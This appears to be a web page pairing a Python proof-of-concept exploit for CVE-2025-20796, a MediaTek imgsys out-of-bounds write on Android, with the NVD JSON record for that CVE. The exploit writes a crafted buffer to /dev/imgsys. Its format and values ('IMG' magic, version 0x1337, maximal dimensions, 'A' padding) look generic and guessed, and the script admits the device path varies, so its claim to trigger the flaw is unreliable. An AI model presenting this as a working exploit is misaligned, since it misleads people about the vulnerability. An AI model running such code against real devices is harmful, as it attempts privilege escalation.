CVE-2025-20796

# CVE-2025-20796 PoC - MediaTek imgsys Out of Bounds Write # Note: Requires System privilege first import struct import os def trigger_imgsys_vulnerability(): """ Trigger the imgsys out of bounds write vulnerability Prerequisites: Attacker must have System privilege """ print("[*] CVE-2025-20796 MediaTek imgsys PoC") print("[*] This PoC requires System privilege to be obtained first") # Malicious image data crafted to trigger OOB write in imgsys # The imgsys component fails to properly validate input boundaries malicious_data = bytearray() # Craft header that bypasses initial validation malicious_data.extend(b'IMG') # Magic number malicious_data.extend(struct.pack('<I', 0x1337)) # Version # Oversized dimension values to trigger OOB width = 0xFFFFFFFF # Trigger integer overflow in bounds check height = 0xFFFFFFFF malicious_data.extend(struct.pack('<II', width, height)) # Payload that will be written out of bounds payload = b'A' * 0x1000 malicious_data.extend(payload) print(f"[*] Crafted malicious image data: {len(malicious_data)} bytes") print("[*] Sending to imgsys driver...") # Open imgsys device node (typical path varies by device) imgsys_dev = '/dev/imgsys' try: with open(imgsys_dev, 'wb') as f: f.write(malicious_data) print("[+] Malicious data sent to imgsys") except PermissionError: print("[-] System privilege required to access imgsys device") except FileNotFoundError: print("[-] imgsys device not found - device may not be vulnerable") if __name__ == "__main__": trigger_imgsys_vulnerability()

{"cve": {"id": "CVE-2025-20796", "sourceIdentifier": "[email protected]", "published": "2026-01-06T02:15:43.567", "lastModified": "2026-01-08T19:24:13.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In imgsys, there is a possible out of bounds write due to improper input validation. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is needed for exploitation. Patch ID: ALPS10314745; Issue ID: MSV-5553."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1285"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6989:-:*:*:*:*:*:*:*", "matchCriteriaId": "AD7DE6B2-66D9-4A3E-B15F-D56505559255"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8796:-:*:*:*:*:*:*:*", "matchCriteriaId": "DE933AD9-3A6F-421B-8AB3-C45F8DEA9548"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt8893:-:*:*:*:*:*:*:*", "matchCriteriaId": "CCFAADB1-C2B2-47A6-BB66-761B964E7DFB"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/January-2026", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}